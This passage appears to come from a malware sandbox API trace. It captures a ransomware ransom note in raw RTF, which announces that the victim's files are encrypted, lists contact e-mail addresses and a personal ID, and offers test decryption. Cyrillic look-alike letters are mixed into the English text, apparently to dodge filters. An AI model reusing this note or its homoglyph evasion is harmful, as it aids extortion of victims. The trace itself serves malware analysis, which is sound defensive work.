d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 